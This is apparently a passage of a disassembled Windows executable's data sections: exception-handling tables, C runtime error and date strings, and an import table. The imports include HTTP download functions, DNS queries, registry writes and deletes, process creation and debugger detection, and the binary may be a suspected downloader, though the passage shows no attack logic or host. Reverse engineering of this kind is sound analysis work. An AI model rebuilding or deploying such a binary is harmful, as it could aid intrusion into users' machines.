		dd offset sub_4067DF
		dd 2 dup(0)
		dd 2 dup(1), 420B50h
dword_420B74	dd 19930522h, 2, 420B40h, 1, 420B60h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B225h, 0
		dd offset loc_41B22D
		dd 1, 41B238h, 2, 41B243h
dword_420BB8	dd 19930522h, 4, 420B98h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B258h, 0
		dd offset loc_41B260
		dd 1, 41B268h
dword_420BF4	dd 19930522h, 3, 420BDCh, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B27Ah, 0
		dd offset loc_41B282
dword_420C28	dd 19930522h, 2, 420C18h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B294h, 0
		dd offset loc_41B29C
		dd 1, 41B2A4h
dword_420C64	dd 19930522h, 3, 420C4Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B2B6h
dword_420C90	dd 19930522h, 1, 420C88h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B2C8h, 0FFFFFFFFh, 41B2D0h
dword_420CC4	dd 19930522h, 2, 420CB4h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B2E2h, 0FFFFFFFFh, 41B2ECh,	1, 41B2F7h
		dd 1, 41B2FFh, 1, 41B30Fh, 1, 41B307h
dword_420D18	dd 19930522h, 6, 420CE8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B324h, 0
		dd offset loc_41B32C
dword_420D4C	dd 19930522h, 2, 420D3Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40B326
		dd 2 dup(0)
		dd 2 dup(1), 420D80h
dword_420DA4	dd 19930522h, 2, 420D70h, 1, 420D90h, 3	dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41B348
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_40A8BA
		dd 0
		dd 1, 2, 1, 420DE0h
dword_420E04	dd 19930522h, 3, 420DC8h, 1, 420DF0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B357h, 0
		dd offset loc_41B35F
		dd 1, 41B367h, 1, 41B36Fh, 1, 41B377h, 1, 41B37Fh, 1, 41B387h
		dd 6, 41B38Fh, 6, 41B39Ah, 1, 41B3A5h, 1, 41B3ADh, 1, 41B3B5h
		dd 1, 41B3BDh, 1, 41B3C5h
dword_420E98	dd 19930522h, 0Eh, 420E28h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 74h,	40h, 0
		dd 2 dup(0)
		dd 2 dup(1), 420ECCh
dword_420EF0	dd 19930522h, 2, 420EBCh, 1, 420EDCh, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B3E1h
dword_420F1C	dd 19930522h, 1, 420F14h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_406C72
		dd 2 dup(0)
		dd 2 dup(1), 420F50h
dword_420F74	dd 19930522h, 2, 420F40h, 1, 420F60h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B3FAh, 0
		dd offset loc_41B402
		dd 1, 41B40Ah, 2, 41B412h, 3, 41B41Dh
dword_420FC0	dd 19930522h, 5, 420F98h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B432h, 0
		dd offset loc_41B43D
dword_420FF4	dd 19930522h, 2, 420FE4h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B452h, 0FFFFFFFFh, 41B45Ah,	1, 41B464h
dword_421030	dd 19930522h, 3, 421018h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B479h, 0FFFFFFFFh, 41B481h,	0FFFFFFFFh
		dd 41B489h, 0FFFFFFFFh,	41B491h, 0FFFFFFFFh, 41B499h, 0FFFFFFFFh
		dd 41B4A4h
dword_421084	dd 19930522h, 6, 421054h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B4B6h, 0FFFFFFFFh, 41B4BEh
dword_4210B8	dd 19930522h, 2, 4210A8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B4D0h
dword_4210E4	dd 19930522h, 1, 4210DCh, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B4E2h, 0FFFFFFFFh, 41B4EAh,	0FFFFFFFFh
		dd 41B4F2h
dword_421120	dd 19930522h, 3, 421108h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B504h, 8 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_40A124
		dd 40h,	2 dup(0)
		dd offset loc_40A1C1
		dd 2 dup(1), 2,	1, 42116Ch, 2 dup(3), 4, 1, 42117Ch
dword_4211B4	dd 19930522h, 5, 421144h, 2, 42118Ch, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B516h, 0
		dd offset loc_41B51E
		dd 1, 41B526h, 2, 41B52Eh, 3, 41B539h, 3, 41B544h, 1, 41B54Fh
		dd 1, 41B55Ah, 7, 41B562h, 7, 41B56Dh
dword_421228	dd 19930522h, 0Ah, 4211D8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B582h, 0
		dd offset loc_41B58A
		dd 1, 41B592h, 2, 41B59Ah
dword_42126C	dd 19930522h, 4, 42124Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_407695
		dd 2 dup(0)
		dd 2 dup(1), 4212A0h
dword_4212C4	dd 19930522h, 2, 421290h, 1, 4212B0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B5B6h, 8 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_4060E6
		dd 40h,	2 dup(0)
		dd offset loc_406185
		dd 2 dup(1), 2,	1, 421310h, 2 dup(3), 4, 1, 421320h
dword_421358	dd 19930522h, 5, 4212E8h, 2, 421330h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B5CBh
dword_421384	dd 19930522h, 1, 42137Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B5DDh, 0
		dd offset loc_41B5E5
		dd 1, 41B5F0h
dword_4213C0	dd 19930522h, 3, 4213A8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B605h
dword_4213EC	dd 19930522h, 1, 4213E4h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B617h, 0FFFFFFFFh, 41B61Fh
dword_421420	dd 19930522h, 2, 421410h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B631h
dword_42144C	dd 19930522h, 1, 421444h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B643h, 2 dup(0)
		dd 1, 41B64Bh, 1, 41B653h, 2 dup(0)
		dd 8, 424334h, 0FFFFFFE4h, 4052D1h, 1, 3, 4, 1,	421498h
dword_4214BC	dd 19930522h, 5, 421470h, 1, 4214A8h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B665h
dword_4214E8	dd 19930522h, 1, 4214E0h, 5 dup(0)		dd 1, 3	dup(0)
		dd 21854h, 1C1BCh, 3 dup(0)
		dd 21882h, 1C01Ch, 3 dup(0)
		dd 2188Eh, 1C1E0h, 3 dup(0)
		dd 21B36h, 1C028h, 3 dup(0)
		dd 21B68h, 1C1B0h, 3 dup(0)
		dd 21BDCh, 1C000h, 8Dh dup(0)
		dd 74480057h, 75517074h, 49797265h, 416F666Eh, 930000h
		dd 65746E49h, 74656E72h, 6E65704Fh, 416C7255h, 6F0000h
		dd 65746E49h, 74656E72h, 6E6E6F43h, 41746365h, 9A0000h
		dd 65746E49h, 74656E72h, 64616552h, 656C6946h, 550000h
		dd 70747448h, 6E65704Fh, 75716552h, 41747365h, 590000h
		dd 70747448h, 646E6553h, 75716552h, 41747365h, 690000h
aInternetcloseh	db 'InternetCloseHandle',0
aT		db '’',0
aInternetopena	db 'InternetOpenA',0
aWininet_dll	db 'WININET.dll',0
aG		db 'G',0
aDnsquery_a	db 'DnsQuery_A',0
		align 2
aN		db 'N',0
aDnsrecordlistf	db 'DnsRecordListFree',0
aDnsapi_dll	db 'DNSAPI.dll',0
		align 2
aWs2_32_dll	db 'WS2_32.dll',0
		align 2
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 654701DFh, 63695474h, 756F436Bh, 746Eh, 6547014Eh, 73694474h
		dd 6572466Bh, 61705365h, 78456563h, 1C80041h, 53746547h
		dd 65747379h, 6D69546Dh, 0F30065h, 6D726F46h, 654D7461h
		dd 67617373h, 4165h, 6E490223h,	61697469h, 657A696Ch, 74697243h
		dd 6C616369h, 74636553h, 6E6F69h, 654C0251h, 43657661h
		dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E450098h, 43726574h
		dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6F4C025Ch, 466C6163h
		dd 656572h, 784500B9h, 72507469h, 7365636Fh, 0E30073h
		dd 646E6946h, 6F736552h, 65637275h, 2570041h, 64616F4Ch
		dd 6F736552h, 65637275h, 3900000h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 746365h, 65530316h, 65764574h
		dd 746Eh, 654701F3h, 6E695774h,	73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C530356h, 706565h, 69530355h, 666F657Ah, 6F736552h
		dd 65637275h, 4F0000h, 61657243h, 76456574h, 41746E65h
		dd 660000h, 61657243h, 72506574h, 7365636Fh, 4173h, 654701B7h
		dd 61745374h, 70757472h, 6F666E49h, 1710041h, 4C746547h
		dd 45747361h, 726F7272h, 3C30000h, 7274736Ch, 69706D63h
		dd 1A00041h, 50746547h,	41636F72h, 65726464h, 7373h, 65530319h
		dd 6C694674h, 74744165h, 75626972h, 41736574h, 2CF0000h
		dd 65736552h, 65764574h, 746Eh,	6F4C0265h, 65526B63h, 72756F73h
		dd 6563h, 654701C5h, 73795374h,	496D6574h, 6F666Eh, 6547017Dh
		dd 646F4D74h, 46656C75h, 4E656C69h, 41656D61h, 17F0000h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 600000h
		dd 61657243h, 754D6574h, 41786574h, 810000h, 656C6544h
		dd 72436574h, 63697469h, 65536C61h, 6F697463h, 1E9006Eh
		dd 56746547h, 69737265h, 78456E6Fh, 340041h, 736F6C43h
		dd 6E614865h, 656C64h, 654701E2h, 6D695474h, 6E6F5A65h
		dd 666E4965h, 616D726Fh, 6E6F6974h, 1730000h, 4C746547h
		dd 6C61636Fh, 656D6954h, 1E00000h, 54746547h, 46656D69h
		dd 616D726Fh, 4174h, 65470147h,	74614474h, 726F4665h, 4174616Dh
		dd 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 6547010Bh, 72754374h
		dd 50726F73h, 736Fh, 6547015Dh,	73795374h, 4D6D6574h, 69727465h
		dd 7363h, 52455355h, 642E3233h,	6C6Ch, 65520204h, 74655367h
		dd 756C6156h, 41784565h, 1F70000h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1D10000h, 43676552h, 74616572h
		dd 79654B65h, 417845h, 655201ECh, 65704F67h, 79654B6Eh
		dd 417845h, 655201CBh, 6F6C4367h, 654B6573h, 1D80079h
		dd 44676552h, 74656C65h, 6C615665h, 416575h, 41564441h
		dd 32334950h, 6C6C642Eh, 35E0000h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 1420000h, 43746547h, 65727275h
		dd 7250746Eh, 7365636Fh, 36E0073h, 61686E55h, 656C646Eh
		dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 34A0000h
		dd 55746553h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h
		dd 6C69466Eh, 726574h, 73490239h, 75626544h, 72656767h
		dd 73657250h, 746E65h, 654701CAh, 73795374h, 546D6574h
		dd 41656D69h, 6C694673h, 6D695465h, 0BA0065h, 74697845h
		dd 65726854h, 6461h, 65470146h,	72754374h, 746E6572h, 65726854h
		dd 64496461h, 6F0000h, 61657243h, 68546574h, 64616572h
		dd 1100000h, 43746547h,	616D6D6Fh, 694C646Eh, 41656Eh
		dd 65480216h, 72467061h, 6565h,	65480210h, 6C417061h, 636F6Ch
		dd 654701A3h, 6F725074h, 73736563h, 70616548h, 2A70000h
		dd 73696152h, 63784565h, 69747065h, 6E6Fh, 745202D7h, 776E556Ch
		dd 646E69h, 6C540365h, 74654773h, 756C6156h, 3630065h
		dd 41736C54h, 636F6C6Ch, 3660000h, 53736C54h, 61567465h
		dd 65756Ch, 6C540364h, 65724673h, 22C0065h, 65746E49h
		dd 636F6C72h, 4964656Bh, 6572636Eh, 746E656Dh, 3280000h
		dd 4C746553h, 45747361h, 726F7272h, 2280000h, 65746E49h
		dd 636F6C72h, 4464656Bh, 65726365h, 746E656Dh, 21C0000h
		dd 70616548h, 657A6953h, 1040000h, 43746547h, 666E4950h
		dd 0FD006Fh, 41746547h,	5043h, 65470193h, 4D454F74h, 5043h
		dd 434C0244h, 5370614Dh, 6E697274h, 4167h, 69570394h, 68436564h
		dd 6F547261h, 746C754Dh, 74794269h, 2750065h, 746C754Dh
		dd 74794269h, 576F5465h, 43656469h, 726168h, 434C0245h
		dd 5370614Dh, 6E697274h, 5767h,	725703A4h, 46657469h, 656C69h
		dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470122h, 6E6F4374h
		dd 656C6F73h, 5043h, 65470133h,	6E6F4374h, 656C6F73h, 65646F4Dh
		dd 0F60000h, 65657246h,	69766E45h, 6D6E6F72h, 53746E65h
		dd 6E697274h, 417367h, 65470155h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 73676Eh, 724600F7h, 6E456565h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 1570057h
		dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
		dd 5773h, 65530324h, 6E614874h,	43656C64h, 746E756Fh, 1660000h
		dd 46746547h, 54656C69h, 657079h, 65480214h, 65447061h
		dd 6F727473h, 2120079h,	70616548h, 61657243h, 6574h, 69560383h
		dd 61757472h, 6572466Ch, 2A30065h, 72657551h, 72655079h
		dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 65470143h
		dd 72754374h, 746E6572h, 636F7250h, 49737365h, 3810064h
		dd 74726956h, 416C6175h, 636F6C6Ch, 21A0000h, 70616548h
		dd 6C416552h, 636F6Ch, 6553031Bh, 6C694674h, 696F5065h
		dd 7265746Eh, 2520000h,	64616F4Ch, 7262694Ch, 41797261h
		dd 1BA0000h, 53746547h,	6E697274h, 70795467h, 4165h, 654701BDh
		dd 72745374h, 54676E69h, 57657079h, 1740000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	72430053h, 65746165h, 656C6946h
		dd 3990041h, 74697257h,	6E6F4365h, 656C6F73h, 1350041h
		dd 43746547h, 6F736E6Fh, 754F656Ch, 74757074h, 5043h, 725703A3h
		dd 43657469h, 6F736E6Fh, 57656Ch, 65530337h, 64745374h
		dd 646E6148h, 656Ch, 6C4600EEh,	46687375h, 42656C69h, 65666675h
		dd 7372h, 65530310h, 646E4574h,	6946664Fh, 656Ch, 655202B5h
		dd 69466461h, 656Ch, 3FDh dup(0)
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		align 10h
		dd offset dword_41DFB4
off_423014	dd offset off_41C308	; DATA XREF: .vty:0041F2B8o
					; .vty:0041F2D8o
		dd 0
a_?avtype_info@	db '.?AVtype_info@@',0
off_42302C	dd offset dword_41DFB4	; DATA XREF: sub_40DE4F+3o
dword_423030	dd 1		dword_423034	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_423198	dd 0Ch		dword_42319C	dd 8		dword_4231A0	dd 2							; sub_4143CC+19r ...
		dd offset sub_415D0D
		align 10h
off_4231B0	dd offset aNull_0	; DATA XREF: sub_4113BB:loc_4118A9r
					; sub_4113BB+7E7r
					; "(null)"
off_4231B4	dd offset aNull		; DATA XREF: sub_4113BB+433r
					; "(null)"
dword_4231B8	dd 8							; sub_411DBF+13r ...
dword_4231BC	dd 7							; sub_411D53+1Er ...
dword_4231C0	dd 2D2A80D3h						; sub_412755+45w
dword_4231C4	dd 0DCC9149h						; sub_40F9A2+85o ...
dword_4231C8	dd 0F2336EB6h						; sub_415C79+89w ...
		dd offset dword_41DFB4
off_4231D0	dd offset aNoError	; DATA XREF: sub_412B3Ao
					; "No error"
		dd offset aOperationNotPe ; "Operation not permitted"
		dd offset aNoSuchFileOrDi ; "No	such file or directory"
		dd offset aNoSuchProcess ; "No such process"
		dd offset aInterruptedFun ; "Interrupted function call"
		dd offset aInputOutputErr ; "Input/output error"
		dd offset aNoSuchDeviceOr ; "No	such device or address"
		dd offset aArgListTooLong ; "Arg list too long"
		dd offset aExecFormatErro ; "Exec format error"
		dd offset aBadFileDescrip ; "Bad file descriptor"
		dd offset aNoChildProcess ; "No	child processes"
		dd offset aResourceTempor ; "Resource temporarily unavailable"
		dd offset aNotEnoughSpace ; "Not enough	space"
		dd offset aPermissionDeni ; "Permission	denied"
		dd offset aBadAddress	; "Bad address"
		dd offset aUnknownError	; "Unknown error"
		dd offset aResourceDevice ; "Resource device"
		dd offset aFileExists	; "File	exists"
		dd offset aImproperLink	; "Improper link"
		dd offset aNoSuchDevice	; "No such device"
		dd offset aNotADirectory ; "Not	a directory"
		dd offset aIsADirectory	; "Is a	directory"
		dd offset aInvalidArgumen ; "Invalid argument"
		dd offset aTooManyOpenF_0 ; "Too many open files in system"
		dd offset aTooManyOpenFil ; "Too many open files"
		dd offset aInappropriateI ; "Inappropriate I/O control operation"
		dd offset aUnknownError	; "Unknown error"
		dd offset aFileTooLarge	; "File	too large"
		dd offset aNoSpaceLeftOnD ; "No	space left on device"
		dd offset aInvalidSeek	; "Invalid seek"
		dd offset aReadOnlyFileSy ; "Read-only file system"
		dd offset aTooManyLinks	; "Too many links"
		dd offset aBrokenPipe	; "Broken pipe"
		dd offset aDomainError	; "Domain error"
		dd offset aResultTooLarge ; "Result too	large"
		dd offset aUnknownError	; "Unknown error"
		dd offset aResourceDeadlo ; "Resource deadlock avoided"
		dd offset aUnknownError	; "Unknown error"
		dd offset aFilenameTooLon ; "Filename too long"
		dd offset aNoLocksAvailab ; "No	locks available"
		dd offset aFunctionNotImp ; "Function not implemented"
		dd offset aDirectoryNotEm ; "Directory not empty"
		dd offset aIllegalByteSeq ; "Illegal byte sequence"
		dd offset aUnknownError	; "Unknown error"
dword_423280	dd 2Bh,	0	dword_423288	dd 0FFFFFFFFh, 16h dup(0)					; sub_412015+9Ao ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijkl_3	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_4234A8	db 0			; DATA XREF: sub_4130CA+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h, 0
byte_4235B0	db 0			; DATA XREF: sub_4130CA+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_4236B0	dd 383258h						; sub_412E01+4Cr ...
byte_4236B4	db 1			; DATA XREF: sub_412F1F+E3r
		db 2, 4, 8
dword_4236B8	dd 3A4h		dword_4236BC	dd 82798260h, 21h, 0dword_4236C8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd offset dword_41D868+4
dword_4237AC	dd 0FFFFFFFEh						; sub_40F7E2+4Cr ...
dword_4237B0	dd 43h,	0						; sub_4133C2:loc_41340Do ...
dword_4237B8	dd 2, 15h dup(0)					; sub_4134D4+28o ...
		dd offset dword_4237B0
		align 10h
		dd offset dword_4237B0
		align 10h
		dd offset dword_4237B0
		align 10h
		dd offset dword_4237B0
		align 10h
		dd offset dword_4237B0
		align 10h
		dd 2 dup(1), 3 dup(0)
		dd offset off_423ED8
		align 10h
off_423880	dd offset asc_41D668	; DATA XREF: sub_40FF87+Dr
					; sub_410004+Dr
					; "	    (((((		   H"
		dd offset dword_41DA70+80h
		dd offset dword_41DA70+200h
		dd offset off_423E18
off_423890	dd offset dword_4237B8	; DATA XREF: sub_40F7E2+24r
					; sub_411EC6+88r ...
		dd 1
off_423898	dd offset dword_4237B8	; DATA XREF: sub_415093+17o
		dd offset dword_423288
off_4238A0	dd offset dword_425000	; DATA XREF: sub_413A82o
					; sub_413A88+52o ...
		dd 0
		dd offset dword_425000
		dd 101h
dword_4238B0	dd 2 dup(0)			dd 1000h, 4 dup(0)
		dd 2, 1, 6 dup(0)
		dd 2 dup(2), 7 dup(0)
dword_423910	dd 7Ch dup(0)	dword_423B00	dd 8 dup(0)						; sub_413BAB+Do
dword_423B20	dd 3							; sub_41411B+1Br ...
		align 8
dword_423B28	dd 2		off_423B2C	dd offset aR6002FloatingP ; DATA XREF: sub_41422C:loc_41435Cr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41CD44h, 9, 41CD18h, 0Ah,	41CC80h, 10h, 41CC54h
		dd 11h,	41CC24h, 12h, 41CC00h, 13h, 41CBD4h, 18h, 41CB9Ch
		dd 19h,	41CB74h, 1Ah, 41CB3Ch, 1Bh, 41CB04h, 1Ch, 41CADCh
		dd 1Eh,	41CABCh, 1Fh, 41CA58h, 20h, 41CA20h, 21h, 41C928h
		dd 22h,	41C888h, 78h, 41C874h, 79h, 41C864h, 7Ah, 41C854h
		dd 0FCh, 41EBE8h, 0FFh,	41C844h
dword_423BE0	dd 0C0000005h, 0Bh, 0					; sub_412015+6Eo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_423C58	dd 3							; sub_41530F+C0r ...
dword_423C5C	dd 7							; sub_41530F+C6r ...
		dd 78h
dword_423C64	dd 0Ah							; sub_4180B7+4r
dword_423C68	dd 0FFFFFFFFh, 0A80h, 8	dup(0)					; sub_4113BB:loc_411497o ...
		dd 10h,	41DFB4h, 415D0Dh
off_423C9C	dd offset off_41C308	; DATA XREF: sub_4165F6+128o
					; .vty:0041F300o ...
		dd 0
a_?avbad_except	db '.?AVbad_exception@std@@',0
		align 10h
off_423CC0	dd offset dword_424BB8	; DATA XREF: sub_416C30:loc_416C6Dw
					; sub_416C79+8o ...
dword_423CC4	dd 1				dd offset dword_424BD0
		dd 1, 2	dup(0)
		dd offset dword_424BE8
		dd 1, 424C00h, 1, 2 dup(0)
		dd offset dword_424C18
		dd 1, 424C30h, 1, 424C48h, 1, 2	dup(0)
		dd offset dword_424C60
		dd 1, 2	dup(0)
		dd offset dword_424C78
		dd 1, 424C90h, 1, 424CA8h, 1, 2	dup(0)
		dd offset dword_424CC0
		dd 1, 424CD8h, 1, 424CF0h, 1, 22h dup(0)
dword_423DE0	dd 2D2A0590h						; sub_416C79+4Ao ...
		db 90h
		db 5, 2Ah, 2Dh
		db 90h
		db 5, 2Ah, 2Dh
		db 90h
		db 5, 2Ah, 2Dh
		db 90h
		db 5, 2Ah, 2Dh
		db 90h
		db 5, 2Ah, 2Dh
off_423DF8	dd offset sub_41A265	; DATA XREF: sub_4113BB+61Ar
		dd offset sub_41A265
off_423E00	dd offset sub_41A265	; DATA XREF: sub_4113BB+65Fr
off_423E04	dd offset sub_41A265	; DATA XREF: sub_4113BB+640r
		align 10h
		dd offset asc_41D668	; "	    (((((		   H"
		dd offset dword_41D868+2
off_423E18	dd offset aSun		; DATA XREF: sub_413282+D9o
					; .vty:0042388Co
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset dword_41DA70+300h
		dd 409h, 2 dup(1), 423E18h
dword_423ED4	dd 2Eh		off_423ED8	dd offset dword_423ED4	; DATA XREF: sub_413282+14o
					; sub_4187D6+Br ...
off_423EDC	dd offset dword_424D70	; DATA XREF: sub_4187D6+1Dr
off_423EE0	dd offset dword_424D70	; DATA XREF: sub_4187D6+2Fr
off_423EE4	dd offset dword_424D70	; DATA XREF: sub_418816+Cr
off_423EE8	dd offset dword_424D70	; DATA XREF: sub_418816+1Er
off_423EEC	dd offset dword_424D70	; DATA XREF: sub_418816+30r
off_423EF0	dd offset dword_424D70	; DATA XREF: sub_418816+42r
off_423EF4	dd offset dword_424D70	; DATA XREF: sub_418816+54r
off_423EF8	dd offset dword_424D70	; DATA XREF: sub_418816+66r
off_423EFC	dd offset dword_424D70	; DATA XREF: sub_418816+78r
		dd 2 dup(7F7F7F7Fh), 423ED8h, 1, 2Eh, 1, 2 dup(0)
dword_423F20	dd 19930520h, 3	dup(0)					; sub_419915+2o
dword_423F30	dd 2							; sub_419B1B+4Fr ...
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_423F50	dd 545350h, 0Fh	dup(0)dword_423F90	dd 544450h, 0Fh	dup(0)		dd offset dword_423F50
		dd offset dword_423F90
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
byte_424060	db 0			; DATA XREF: sub_41A5AF:loc_41A910r
					; sub_41A5AF+36Fr
		align 4
		dd 2Fh dup(0)
